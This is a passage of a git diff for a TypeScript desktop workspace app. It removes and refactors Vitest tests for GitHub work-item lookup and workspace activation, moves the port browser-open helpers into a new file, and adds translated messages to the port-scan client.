-import { GITHUB_COMPLETE_PR_CHECK_OBSERVATION_CAPABILITY as complete } from '../../../../../shared/source-control/runtime/source-control-runtime-capabilities'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
-
-import {
-  lookupGitHubWorkItemDetailsForSource,
-  lookupGitHubWorkItemByOwnerRepoForSource
-} from './github-work-item-source-lookup'
-import { replaceRuntimeEnvironmentRevisions } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-import {
-  clearRuntimeEnvironmentConnectionGenerations,
-  setRuntimeEnvironmentConnectionGenerationForTests
-} from '@/store/slices/runtime-status/runtime-status-connection-generation'
-
-import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context'
-import { useAppStore } from '@/store/index'
-
-import { setLocalRuntimeCapabilitiesForTests } from '@/runtime/hosts/capabilities/local-runtime-capabilities'
-
-import { isCompletePRCheckOwner } from '../../../../../shared/github/complete-pr-check-owner'
-import { lookupCmdJGitHubUrlWorkItem } from '../../cmd-j-github-url-lookup'
-
-vi.mock('@/store/index', async () => {
-  const { create } = await import('zustand')
-  return { useAppStore: create(() => ({ repos: [], runtimeStatusByEnvironmentId: new Map() })) }
-})
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async () => {
-  const actual = await vi.importActual<typeof RuntimeRpcCallModule>(
-    '@/runtime/rpc/calls/runtime-rpc-call'
-  )
-  return {
-    ...actual,
-    callRuntimeRpc: vi.fn()
-  }
-})
-vi.mock('@/runtime/rpc/compatibility/runtime-capability-proof', async () => {
-  const actual = await vi.importActual<typeof RuntimeCapabilityProofModule>(
-    '@/runtime/rpc/compatibility/runtime-capability-proof'
-  )
-  return {
-    ...actual,
-    runtimeEnvironmentSupportsCapability: vi.fn().mockResolvedValue(false)
-  }
-})
-
-const runtimeSourceContext: TaskSourceContext = {
-  kind: 'task-source',
-  provider: 'github',
-  projectId: 'project-1',
-  hostId: 'runtime:env-1',
-  repoId: 'runtime-repo'
-}
-
-describe('GitHub source lookup routing', () => {
-  beforeEach(() => {
-    replaceRuntimeEnvironmentRevisions([{ id: 'env-1', createdAt: 100, pairingRevision: 701 }])
-    setRuntimeEnvironmentConnectionGenerationForTests('env-1', 4)
-    vi.mocked(callRuntimeRpc).mockReset()
-    useAppStore.setState({ runtimeStatusByEnvironmentId: new Map() })
-    setLocalRuntimeCapabilitiesForTests(null)
-    vi.stubGlobal('window', {
-      api: {
-        gh: {
-          workItemDetails: vi.fn(),
-          workItem: vi.fn(),
-          workItemByOwnerRepo: vi.fn().mockResolvedValue(null)
-        }
-      }
-    })
-  })
-
-  afterEach(() => {
-    replaceRuntimeEnvironmentRevisions([])
-    clearRuntimeEnvironmentConnectionGenerations()
-    vi.unstubAllGlobals()
-    setLocalRuntimeCapabilitiesForTests(null)
-  })
-
-  it.each(['local', 'ssh:build-box'] as const)(
-    'forwards %s source identity to exact repository IPC',
-    async (hostId) => {
-      const sourceContext: TaskSourceContext = { ...runtimeSourceContext, hostId, repoId: 'repo' }
-      await lookupGitHubWorkItemByOwnerRepoForSource({
-        repoPath: '/repo',
-        repoId: 'repo',
-        sourceContext,
-        owner: 'acme',
-        repo: 'orca',
-        host: 'github.com',
-        number: 42,
-        type: 'pr'
-      })
-      expect(window.api.gh.workItemByOwnerRepo).toHaveBeenCalledWith({
-        repoPath: '/repo',
-        repoId: 'repo',
-        sourceContext,
-        owner: 'acme',
-        repo: 'orca',
-        host: 'github.com',
-        number: 42,
-        type: 'pr'
-      })
-      expect(callRuntimeRpc).not.toHaveBeenCalled()
-    }
-  )
-
-  describe('an issue link whose number is a pull request', () => {
-    const pullRequest = {
-      id: 'pr:42',
-      type: 'pr' as const,
-      number: 42,
-      title: 'Fix it',
-      state: 'open' as const,
-      url: 'https://github.com/acme/orca/pull/42',
-      labels: [],
-      updatedAt: '2026-11-09T00:00:00Z',
-      author: null
-    }
-    const lookup = (extra: { preview?: boolean; repo?: string }) =>
-      lookupGitHubWorkItemByOwnerRepoForSource({
-        repoPath: '/repo',
-        repoId: 'repo',
-        sourceContext: { ...runtimeSourceContext, hostId: 'local', repoId: 'repo' },
-        owner: 'acme',
-        repo: 'orca',
-        host: 'github.com',
-        number: 42,
-        type: 'issue',
-        ...extra
-      })
-
-    beforeEach(() => {
-      vi.mocked(window.api.gh.workItemByOwnerRepo).mockResolvedValue(pullRequest)
-    })
-
-    it('previews as the pull request', async () => {
-      await expect(lookup({ preview: true })).resolves.toMatchObject({ type: 'pr', number: 42 })
-    })
-
-    it('still rejects a preview answered from another repository', async () => {
-      await expect(lookup({ preview: true, repo: 'other' })).rejects.toThrow("Couldn't load")
-    })
-
-    it('is rejected outside previews', async () => {
-      await expect(lookup({})).rejects.toThrow("Couldn't load")
-    })
-  })
-
-  it('keeps local GitHub details on Electron IPC with source context', async () => {
-    vi.mocked(window.api.gh.workItemDetails).mockResolvedValue(null)
-    const sourceContext: TaskSourceContext = {
-      ...runtimeSourceContext,
-      hostId: 'local',
-      repoId: 'local-repo'
-    }
-
-    await expect(
-      lookupGitHubWorkItemDetailsForSource({
-        repoPath: 'C:\\workspace\\app',
-        repoId: 'local-repo',
-        sourceContext,
-        number: 42,
-        type: 'issue'
-      })
-    ).resolves.toBeNull()
-
-    expect(window.api.gh.workItemDetails).toHaveBeenCalledWith({
-      repoPath: 'C:\\workspace\\app',
-      repoId: 'local-repo',
-      sourceContext,
-      number: 42,
-      type: 'issue',
-      canonical: false
-    })
-    expect(callRuntimeRpc).not.toHaveBeenCalled()
-  })
-
-  it('sends a local issue row repository to the repo-scoped details route', async () => {
-    const ownerRepo = { owner: 'fork-owner', repo: 'widgets', host: 'github.com' }
-    vi.mocked(window.api.gh.workItemDetails).mockResolvedValue(null)
-
-    await expect(
-      lookupGitHubWorkItemDetailsForSource({
-        repoPath: '/home/fixture/widgets',
-        repoId: 'local-repo',
-        number: 12,
-        type: 'issue',
-        ownerRepo
-      })
-    ).rejects.toThrow('fork-owner/widgets#12')
-
-    expect(window.api.gh.workItemDetails).toHaveBeenCalledWith(
-      expect.objectContaining({ repoPath: '/home/fixture/widgets', ownerRepo })
-    )
-    expect(callRuntimeRpc).not.toHaveBeenCalled()
-  })
-})
-
-const foundPR = {
-  id: 'pr:42',
-  number: 42,
-  type: 'pr' as const,
-  title: 'Found PR',
-  url: 'https://github.com/acme/orca/pull/42',
-  labels: [],
-  author: null,
-  state: 'open' as const,
-  updatedAt: '',
-  headSha: 'a'.repeat(40),
-  prRepo: { owner: 'acme', repo: 'orca', host: 'github.com' },
-  checksSummary: {
-    state: 'failure' as const,
-    total: 1,
-    passed: 0,
-    failed: 1,
-    pending: 0,
-    neutral: 0
-  }
-}
-
-describe('PR metadata and complete checks admission', () => {
-  beforeEach(() => {
-    replaceRuntimeEnvironmentRevisions([{ id: 'env-1', createdAt: 100, pairingRevision: 701 }])
-    setRuntimeEnvironmentConnectionGenerationForTests('env-1', 4)
-    useAppStore.setState({ runtimeStatusByEnvironmentId: new Map() })
-    vi.mocked(callRuntimeRpc).mockReset()
-    vi.stubGlobal('window', { api: { gh: { workItemByOwnerRepo: vi.fn() } } })
-  })
-  afterEach(() => {
-    replaceRuntimeEnvironmentRevisions([])
-    clearRuntimeEnvironmentConnectionGenerations()
-    setLocalRuntimeCapabilitiesForTests(null)
-    vi.unstubAllGlobals()
-  })
-
-  it('keeps a pasted Cmd-J PR link when local capability arrives while the lookup is pending', async () => {
-    const reply = Promise.withResolvers<typeof foundPR>()
-    const started = Promise.withResolvers<void>()
-    vi.mocked(window.api.gh.workItemByOwnerRepo).mockImplementation(async () => {
-      started.resolve()
-      return reply.promise
-    })
-    const pending = lookupCmdJGitHubUrlWorkItem({
-      link: { slug: foundPR.prRepo, number: 42, type: 'pr' },
-      repo: { id: 'local', path: '/repo' },
-      sourceContext: null
-    })
-    await started.promise
-    setLocalRuntimeCapabilitiesForTests([complete])
-    reply.resolve(foundPR)
-    const result = await pending
-    expect(result).toMatchObject({ title: 'Found PR', number: 42 })
-    expect(result && isCompletePRCheckOwner(result)).toBe(false)
-  })
-})
diff --git a/src/renderer/src/lib/workspace-ports/workspace-port-actions.ts b/src/renderer/src/lib/workspace-ports/workspace-port-actions.ts
index 4e11843d2a8..e756df9e99c 100644
--- a/src/renderer/src/lib/workspace-ports/workspace-port-actions.ts
+++ b/src/renderer/src/lib/workspace-ports/workspace-port-actions.ts
@@ -1,22 +1,22 @@
 import { translate } from '@/i18n/i18n'
 import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation'
-import type { useAppStore } from '@/store/index'
 import { assertRuntimeEnvironmentCapability } from '@/runtime/rpc/compatibility/runtime-capability-proof'
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
-import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
 import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
+import { runWorkspacePortScanForTarget } from './workspace-port-scan-client'
+import { browserUrlForPort } from './workspace-port-urls'
+import { createNonSecureContextUuid as createBrowserUuid } from '../../../../shared/non-secure-context-uuid'
+import { BROWSER_SCREENCAST_RUNTIME_CAPABILITY } from '../../../../shared/browser/runtime/browser-runtime-capabilities'
+import { RUNTIME_BROWSER_UNAVAILABLE_MESSAGE } from '../workspace/creation/surface-policy/client-creation-action-policy'
+import type { useAppStore } from '@/store/index'
+import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
 import type {
   WorkspacePort,
   WorkspacePortKillResult,
   WorkspacePortScanResult
 } from '../../../../shared/workspace-ports'
 import type { LocalhostWorktreeLabelRoute } from '../../../../shared/localhost-worktree-labels'
-import { runWorkspacePortScanForTarget } from './workspace-port-scan-client'
-import { browserUrlForPort } from './workspace-port-urls'
-import { createNonSecureContextUuid as createBrowserUuid } from '../../../../shared/non-secure-context-uuid'
-import { BROWSER_SCREENCAST_RUNTIME_CAPABILITY } from '../../../../shared/browser/runtime/browser-runtime-capabilities'
-import { RUNTIME_BROWSER_UNAVAILABLE_MESSAGE } from '../client-creation-action-policy'
 
 const WORKSPACE_PORT_STOP_SETTLE_MS = 500
 const WORKSPACE_PORT_TARGET_UNAVAILABLE_REASON =
@@ -51,42 +51,6 @@ function delay(ms: number): Promise<void> {
   return new Promise((resolve) => window.setTimeout(resolve, ms))
 }
 
-export function shouldOpenWorkspacePortInOrcaBrowser(
-  settings: { openLinksInApp?: boolean } | null | undefined
-): boolean {
-  return settings?.openLinksInApp === true
-}
-
-function isMacShortcutPlatform(): boolean {
-  return typeof navigator !== 'undefined' && navigator.userAgent.includes('Mac')
-}
-
-export function getPortSystemBrowserHint(isMac: boolean = isMacShortcutPlatform()): string {
-  return isMac ? '⇧⌘+click for system browser' : 'Shift+Ctrl+click for system browser'
-}
-
-export function getPortOpenBrowserTooltipLabel(openLabel: string, isMac?: boolean): string {
-  return `${openLabel}. ${getPortSystemBrowserHint(isMac)}`
-}
-
-type PortOpenClickEvent = Pick<MouseEvent, 'metaKey' | 'ctrlKey' | 'shiftKey'>
-
-export function resolvePortOpenInOrcaBrowser({
-  settings,
-  event,
-  isMac
-}: {
-  settings: { openLinksInApp?: boolean } | null | undefined
-  event?: PortOpenClickEvent | null
-  isMac: boolean
-}): boolean {
-  // Shift+Cmd/Ctrl forces external browser; keyboard/context-menu opens without pointer events retain saved settings.
-  if (event?.shiftKey && (isMac ? event.metaKey : event.ctrlKey)) {
-    return false
-  }
-  return shouldOpenWorkspacePortInOrcaBrowser(settings)
-}
-
 export function workspacePortOwnerWorktreeId(port: WorkspacePort): string | null {
   return port.kind === 'workspace' ? port.owner.worktreeId : null
 }
diff --git a/src/renderer/src/lib/workspace-ports/workspace-port-browser-open.ts b/src/renderer/src/lib/workspace-ports/workspace-port-browser-open.ts
new file mode 100644
index 00000000000..b994db87bf9
--- /dev/null
+++ b/src/renderer/src/lib/workspace-ports/workspace-port-browser-open.ts
@@ -0,0 +1,44 @@
+import { translate } from '@/i18n/i18n'
+
+export function shouldOpenWorkspacePortInOrcaBrowser(
+  settings: { openLinksInApp?: boolean } | null | undefined
+): boolean {
+  return settings?.openLinksInApp === true
+}
+
+function isMacShortcutPlatform(): boolean {
+  return typeof navigator !== 'undefined' && navigator.userAgent.includes('Mac')
+}
+
+export function getPortSystemBrowserHint(isMac: boolean = isMacShortcutPlatform()): string {
+  return translate(
+    'auto.lib.workspacePortBrowserOpen.systemBrowserHint',
+    '{{shortcut}}+click to open in the system browser',
+    { shortcut: isMac ? '⇧⌘' : 'Shift+Ctrl' }
+  )
+}
+
+export function getPortOpenBrowserTooltipLabel(openLabel: string, isMac?: boolean): string {
+  return translate('auto.lib.workspacePortBrowserOpen.tooltip', '{{label}}. {{hint}}', {
+    label: openLabel,
+    hint: getPortSystemBrowserHint(isMac)
+  })
+}
+
+type PortOpenClickEvent = Pick<MouseEvent, 'metaKey' | 'ctrlKey' | 'shiftKey'>
+
+export function resolvePortOpenInOrcaBrowser({
+  settings,
+  event,
+  isMac
+}: {
+  settings: { openLinksInApp?: boolean } | null | undefined
+  event?: PortOpenClickEvent | null
+  isMac: boolean
+}): boolean {
+  // Shift+Cmd/Ctrl forces external browser; keyboard/context-menu opens without pointer events retain saved settings.
+  if (event?.shiftKey && (isMac ? event.metaKey : event.ctrlKey)) {
+    return false
+  }
+  return shouldOpenWorkspacePortInOrcaBrowser(settings)
+}
diff --git a/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts b/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts
index 02f4ad43734..f0218f0203e 100644
--- a/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts
+++ b/src/renderer/src/lib/workspace-ports/workspace-port-scan-client.ts
@@ -15,9 +15,16 @@ import type {
 } from '../../../../shared/workspace-ports'
 import { normalizeExecutionHostId } from '../../../../shared/execution-host'
 import { WORKSPACE_PORTS_HOST_SCOPED_RUNTIME_CAPABILITY } from '../../../../shared/workspace-ports-runtime-capabilities'
+import { translate } from '@/i18n/i18n'
 
 export const WORKSPACE_PORTS_SERVER_SSH_UPDATE_REASON =
   'Update the server to see ports on its SSH hosts.'
+// Why: call-time so the reason follows the UI language instead of the module's first evaluation.
+const workspacePortsServerSshUpdateReason = (): string =>
+  translate(
+    'auto.lib.workspacePortScan.serverSshUpdateRequired',
+    'Update the server to see ports on its SSH hosts.'
+  )
 const WORKSPACE_PORT_RPC_TIMEOUT_MS = 15_000
 
 const WORKSPACE_PORT_PLATFORMS = new Set<NodeJS.Platform | 'unknown'>([
@@ -160,7 +167,7 @@ export async function scanWorkspacePortsOnExecutionHost(
       WORKSPACE_PORTS_HOST_SCOPED_RUNTIME_CAPABILITY
     ))
   ) {
-    return unavailableHostScan(host.executionHostId, WORKSPACE_PORTS_SERVER_SSH_UPDATE_REASON)
+    return unavailableHostScan(host.executionHostId, workspacePortsServerSshUpdateReason())
   }
   let response: unknown
   try {
@@ -172,7 +179,7 @@ export async function scanWorkspacePortsOnExecutionHost(
     )
   } catch (error) {
     if (isMethodNotFound(error)) {
-      return unavailableHostScan(host.executionHostId, WORKSPACE_PORTS_SERVER_SSH_UPDATE_REASON)
+      return unavailableHostScan(host.executionHostId, workspacePortsServerSshUpdateReason())
     }
     throw error
   }
@@ -183,7 +190,10 @@ export async function scanWorkspacePortsOnExecutionHost(
   if (typeof scannedHostId !== 'string' || normalizeExecutionHostId(scannedHostId) !== expected) {
     return unavailableHostScan(
       host.executionHostId,
-      'The server scanned a different host than this workspace runs on.'
+      translate(
+        'auto.lib.workspacePortScan.hostMismatch',
+        'The server scanned a different host than this workspace runs on.'
+      )
     )
   }
   return { ...scan, executionHostId: scannedHostId }
@@ -208,7 +218,7 @@ export async function killWorkspacePortOnExecutionHost(
     )
   } catch (error) {
     if (isMethodNotFound(error)) {
-      return { ok: false, reason: WORKSPACE_PORTS_SERVER_SSH_UPDATE_REASON }
+      return { ok: false, reason: workspacePortsServerSshUpdateReason() }
     }
     throw error
   }
diff --git a/src/renderer/src/lib/workspace-setup-trust.test.ts b/src/renderer/src/lib/workspace-setup-trust.test.ts
deleted file mode 100644
index 7c273defcc5..00000000000
--- a/src/renderer/src/lib/workspace-setup-trust.test.ts
+++ /dev/null
@@ -1,52 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AppState } from '@/store/types'
-import { __resetTrustPromptChainForTests } from '../runtime/repo-hooks/ensure-hooks-confirmed'
-import { confirmWorkspaceSetupDecision } from './workspace/creation/setup/workspace-setup-trust'
-
-const hooksCheckMock = vi.fn()
-
-function stateWithRepoWideTrust(kind: 'git' | 'folder'): AppState {
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the trust check reads only trustedOrcaHooks, repos and openModal
-  return {
-    trustedOrcaHooks: { 'repo-1': { all: { approvedAt: 1 } } },
-    repos: [{ id: 'repo-1', displayName: 'acme', kind }],
-    openModal: () => {
-      throw new Error('repo-wide trust must not prompt')
-    }
-  } as unknown as AppState
-}
-
-describe('confirmWorkspaceSetupDecision under whole-project trust', () => {
-  beforeEach(() => {
-    hooksCheckMock.mockReset().mockResolvedValue({
-      status: 'ok',
-      hasHooks: true,
-      hooks: { scripts: { setup: 'make bootstrap' } },
-      mayNeedUpdate: false
-    })
-    vi.stubGlobal('window', { api: { hooks: { check: hooksCheckMock } } })
-    __resetTrustPromptChainForTests()
-  })
-
-  it('asks a folder host to run setup outright, since the trust carries no content hash', async () => {
-    const result = await confirmWorkspaceSetupDecision(
-      stateWithRepoWideTrust('folder'),
-      'repo-1',
-      'inherit',
-      'local',
-      () => false
-    )
-    expect(result).toMatchObject({ setupDecision: 'run', trustDecision: 'run' })
-  })
-
-  it('leaves a git create on the project policy', async () => {
-    const result = await confirmWorkspaceSetupDecision(
-      stateWithRepoWideTrust('git'),
-      'repo-1',
-      'inherit',
-      'local',
-      () => false
-    )
-    expect(result).toMatchObject({ setupDecision: 'inherit', trustDecision: 'run' })
-  })
-})
diff --git a/src/renderer/src/lib/workspace/activation/worktree-activation-emptied-workspace-reseed.test.ts b/src/renderer/src/lib/workspace/activation/worktree-activation-emptied-workspace-reseed.test.ts
index f210eda5912..1bc1fb85a48 100644
--- a/src/renderer/src/lib/workspace/activation/worktree-activation-emptied-workspace-reseed.test.ts
+++ b/src/renderer/src/lib/workspace/activation/worktree-activation-emptied-workspace-reseed.test.ts
@@ -1,15 +1,12 @@
 import { afterEach, describe, expect, it, vi } from 'vitest'
 import { useAppStore } from '@/store/index'
-import { activateAndRevealFolderWorkspace, activateAndRevealWorktree } from './worktree-activation'
+import { activateAndRevealWorktree } from './worktree-activation'
 import * as activationGate from './worktree-agent-activation-gate'
 import { ensureWorktreeHasInitialTerminal } from './initial-surface/worktree-initial-terminal-seeding'
-import { folderWorkspaceKey } from '../../../../../shared/workspace-scope'
-import { toSshExecutionHostId } from '../../../../../shared/execution-host'
 import {
   makeCreatedAgentWorktree as makeWorktree,
   seedEmptyActivatableWorktree
 } from '@/lib/workspace/activation/worktree-activation-created-agent.test-fixture'
-import { waitForWorktreeAgentActivationGateForTests } from './worktree-agent-activation-gate'
 
 // Main's answer to the window's layout commands, as a switch-on build sends them.
 vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
@@ -37,16 +34,6 @@ function seedClosedLastTerminal(worktreeId: string): void {
   expect(renderableTabCount).toBe(0)
 }
 
-function seedSplitLanding(worktreeId: string): void {
-  useAppStore.setState({
-    groupsByWorktree: {
-      [worktreeId]: [{ id: 'landing', worktreeId, activeTabId: null, tabOrder: [] }]
-    },
-    activeGroupIdByWorktree: { [worktreeId]: 'landing' },
-    splitLandingGroupIds: { landing: worktreeId }
-  })
-}
-
 describe('activating a workspace whose last terminal was closed', () => {
   it('lets the latest caller surface supersede an older callback on the shared gate', async () => {
     const worktree = makeWorktree()
@@ -105,284 +92,4 @@ describe('activating a workspace whose last terminal was closed', () => {
     expect(useAppStore.getState().tabsByWorktree[worktree.id]).toHaveLength(1)
     expect(useAppStore.getState().tabsByWorktree[worktree.id]?.[0]?.id).toBe(recoveredTabId)
   })
-
-  // Hydration can restore an emptied workspace active; clicking that row must reseed instead of preserving the blank surface.
-  it('re-seeds when the restored active workspace is reopened on the same host', () => {
-    const worktree = makeWorktree()
-    seedEmptyActivatableWorktree(worktree)
-    seedClosedLastTerminal(worktree.id)
-    useAppStore.setState({
-      activeWorktreeId: worktree.id,
-      activeWorkspaceExecutionHostId: 'local',
-      activeView: 'terminal'
-    })
-
-    activateAndRevealWorktree(worktree.id, {
-      executionHostId: 'local',
-      notifyHostRuntime: false
-    })
-
-    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toHaveLength(1)
-  })
-
-  it('keeps a waiting split landing instead of re-seeding when the workspace is reopened', () => {
-    const worktree = makeWorktree()
-    seedEmptyActivatableWorktree(worktree)
-    seedClosedLastTerminal(worktree.id)
-    seedSplitLanding(worktree.id)
-
-    activateAndRevealWorktree(worktree.id, {
-      executionHostId: 'local',
-      notifyHostRuntime: false
-    })
-
-    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toEqual([])
-    expect(useAppStore.getState().groupsByWorktree[worktree.id]).toEqual([
-      expect.objectContaining({ id: 'landing', tabOrder: [] })
-    ])
-  })
-
-  it('still inventories saved sessions beside a waiting split landing, then keeps the landing', async () => {
-    const worktree = makeWorktree()
-    seedEmptyActivatableWorktree(worktree)
-    seedClosedLastTerminal(worktree.id)
-    seedSplitLanding(worktree.id)
-    useAppStore.setState({
-      sleepingAgentSessionsByPaneKey: { 'pane-1': { worktreeId: worktree.id } } as never
-    })
-    const gate = vi.spyOn(activationGate, 'gateWorktreeAgentActivation').mockResolvedValue('empty')
-
-    activateAndRevealWorktree(worktree.id, { executionHostId: 'local', notifyHostRuntime: false })
-    await gate.mock.results[0]?.value
-
-    expect(gate).toHaveBeenCalledOnce()
-    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toEqual([])
-  })
-
-  it('does not seed into a split landing created while the inventory gate was pending', async () => {
-    const worktree = makeWorktree()
-    seedEmptyActivatableWorktree(worktree)
-    seedClosedLastTerminal(worktree.id)
-    useAppStore.setState({
-      sleepingAgentSessionsByPaneKey: { 'pane-1': { worktreeId: worktree.id } } as never
-    })
-    let resolveGate!: (outcome: activationGate.WorktreeAgentActivationOutcome) => void
-    const pendingGate = new Promise<activationGate.WorktreeAgentActivationOutcome>((resolve) => {
-      resolveGate = resolve
-    })
-    vi.spyOn(activationGate, 'gateWorktreeAgentActivation').mockReturnValue(pendingGate)
-
-    activateAndRevealWorktree(worktree.id, { executionHostId: 'local', notifyHostRuntime: false })
-    seedSplitLanding(worktree.id)
-    resolveGate('empty')
-    await pendingGate
-    await waitForWorktreeAgentActivationGateForTests(worktree.id)
-
-    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toEqual([])
-  })
-
-  it('leaves the row empty for startup hydration, which never opts into re-seeding', () => {
-    const worktree = makeWorktree()
-    seedEmptyActivatableWorktree(worktree)
-    seedClosedLastTerminal(worktree.id)
-
-    const tabId = ensureWorktreeHasInitialTerminal(useAppStore.getState(), worktree.id)
-
-    expect(tabId).toBeNull()
-    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toEqual([])
-  })
-
-  // Renderable browser tabs short-circuit initial-terminal creation; this covers renderableTabCount, not reseed flags.
-  it('does not add a terminal to a workspace that still renders a browser tab', () => {
-    const worktree = makeWorktree()
-    seedEmptyActivatableWorktree(worktree)
-    seedClosedLastTerminal(worktree.id)
-    useAppStore.setState({
-      browserTabsByWorktree: {
-        [worktree.id]: [
-          {
-            id: 'browser-1',
-            worktreeId: worktree.id,
-            url: 'https://example.com',
-            title: 'example',
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-      },
-      unifiedTabsByWorktree: {
-        [worktree.id]: [
-          {
-            id: 'browser-1',
-            entityId: 'browser-1',
-            groupId: 'group-1',
-            worktreeId: worktree.id,
-            contentType: 'browser',
-            label: 'example',
-            customLabel: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-      },
-      groupsByWorktree: {
-        [worktree.id]: [
-          {
-            id: 'group-1',
-            worktreeId: worktree.id,
-            activeTabId: 'browser-1',
-            tabOrder: ['browser-1']
-          }
-        ]
-      },
-      activeGroupIdByWorktree: { [worktree.id]: 'group-1' }
-    } as unknown as Partial<ReturnType<typeof useAppStore.getState>>)
-    expect(
-      useAppStore.getState().reconcileWorktreeTabModel(worktree.id).renderableTabCount
-    ).toBeGreaterThan(0)
-
-    activateAndRevealWorktree(worktree.id, { notifyHostRuntime: false })
-
-    expect(useAppStore.getState().tabsByWorktree[worktree.id]).toEqual([])
-  })
-})
-
-const FOLDER_ID = 'folder-1'
-const FOLDER_KEY = folderWorkspaceKey(FOLDER_ID)
-const SSH_HOST_ID = toSshExecutionHostId('conn-1')
-
-/** One folder id resolves to a different `FolderWorkspace` per host while both share a single
- *  `tabsByWorktree[FOLDER_KEY]` row. */
-function seedEmptiedFolderWorkspaceOnTwoHosts(): void {
-  const base = {
-    id: FOLDER_ID,
-    projectGroupId: 'group-1',
-    name: 'notes',
-    linkedTask: null,
-    comment: '',
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: 0
-  }
-  useAppStore.setState({
-    folderWorkspaces: [
-      { ...base, folderPath: '/local/notes', executionHostId: 'local' },
-      // Why: an SSH host, not a runtime one — runtime-owned workspaces return early from
-      // `ensureWorktreeHasInitialTerminal` because the host owns terminal creation.
-      { ...base, folderPath: '/remote/notes', executionHostId: SSH_HOST_ID, connectionId: 'conn-1' }
-    ],
-    activeView: 'terminal',
-    tabsByWorktree: { [FOLDER_KEY]: [] },
-    unifiedTabsByWorktree: {},
-    groupsByWorktree: {},
-    getFreshFolderWorkspacePathStatus: () => ({ exists: true }),
-    markWorktreeVisited: vi.fn(),
-    recordWorktreeVisit: vi.fn(),
-    revealWorktreeInSidebar: vi.fn()
-  } as unknown as Partial<ReturnType<typeof useAppStore.getState>>)
-  expect(useAppStore.getState().reconcileWorktreeTabModel(FOLDER_KEY).renderableTabCount).toBe(0)
-}
-
-describe('activating a folder workspace whose last terminal was closed', () => {
-  // This must use the folder entry point; setActiveWorktree(folderWorkspaceKey(...)) takes the git path.
-  it.each([
-    ['a local agent selection', { agent: 'codex' as const }, 'local' as const, 1],
-    ['an SSH agent selection', { agent: 'codex' as const }, SSH_HOST_ID, 1],
-    [
-      'an agent selection whose caller promised its own surface',
-      { agent: 'codex' as const, providesInitialSurface: true },
-      'local' as const,
-      0
-    ]
-  ])(
-    're-seeds a gate-reported empty workspace for %s',
-    async (_label, selection, executionHostId, expectedTabs) => {
-      seedEmptiedFolderWorkspaceOnTwoHosts()
-      useAppStore.setState({
-        sleepingAgentSessionsByPaneKey: {
-          'pane-1': { worktreeId: FOLDER_KEY }
-        } as never
-      })
-      const gate = vi.spyOn(activationGate, 'gateWorktreeAgentActivation')
-      gate.mockResolvedValue('empty')
-
-      activateAndRevealFolderWorkspace(FOLDER_ID, { ...selection, executionHostId })
-      await gate.mock.results[0]?.value
-
-      expect(useAppStore.getState().activeWorktreeId).toBe(FOLDER_KEY)
-      expect(useAppStore.getState().activeWorkspaceExecutionHostId).toBe(executionHostId)
-      expect(useAppStore.getState().tabsByWorktree[FOLDER_KEY] ?? []).toHaveLength(expectedTabs)
-    }
-  )
-
-  it('still inventories a folder beside a waiting split landing, then keeps the landing', async () => {
-    seedEmptiedFolderWorkspaceOnTwoHosts()
-    seedSplitLanding(FOLDER_KEY)
-    useAppStore.setState({
-      sleepingAgentSessionsByPaneKey: { 'pane-1': { worktreeId: FOLDER_KEY } } as never
-    })
-    const gate = vi.spyOn(activationGate, 'gateWorktreeAgentActivation').mockResolvedValue('empty')
-
-    activateAndRevealFolderWorkspace(FOLDER_ID, { executionHostId: 'local' })
-    await gate.mock.results[0]?.value
-
-    expect(gate).toHaveBeenCalledOnce()
-    expect(useAppStore.getState().tabsByWorktree[FOLDER_KEY] ?? []).toEqual([])
-  })
-
-  // Own-surface opt-out must also cover folders or file-link routing there reseeds shells.
-  it('leaves the row empty when the caller opens its own surface', async () => {
-    seedEmptiedFolderWorkspaceOnTwoHosts()
-    useAppStore.setState({
-      workspaceSessionReady: true,
-      terminalStartupRestorationReady: true
-    })
-    vi.stubGlobal('window', {
-      api: {
-        runtime: {
-          // A `session.tabs.list` answer must name the scope it listed, or the gate refuses it and
-          // blocks — which would leave the row empty for the wrong reason.
-          call: vi.fn(async () => ({
-            ok: true,
-            result: {
-              worktree: FOLDER_KEY,
-              publicationEpoch: 'epoch-1',
-              snapshotVersion: 1,
-              activeGroupId: null,
-              activeTabId: null,
-              activeTabType: null,
-              tabs: []
-            }
-          }))
-        },
-        pty: { listSessions: vi.fn(async () => []) }
-      }
-    })
-
-    const result = activateAndRevealFolderWorkspace(FOLDER_ID, {
-      executionHostId: 'local',
-      providesInitialSurface: true
-    })
-    await waitForWorktreeAgentActivationGateForTests(FOLDER_KEY)
-
-    expect(result).not.toBe(false)
-    expect(result === false ? null : result.primaryTabId).toBeNull()
-    expect(useAppStore.getState().tabsByWorktree[FOLDER_KEY]).toEqual([])
-  })
-
-  it('re-seeds the shared row when opening the same folder id on a different host', () => {
-    seedEmptiedFolderWorkspaceOnTwoHosts()
-    useAppStore.setState({
-      activeWorktreeId: FOLDER_KEY,
-      activeWorkspaceExecutionHostId: 'local'
-    })
-
-    const result = activateAndRevealFolderWorkspace(FOLDER_ID, { executionHostId: SSH_HOST_ID })
-
-    expect(result).not.toBe(false)
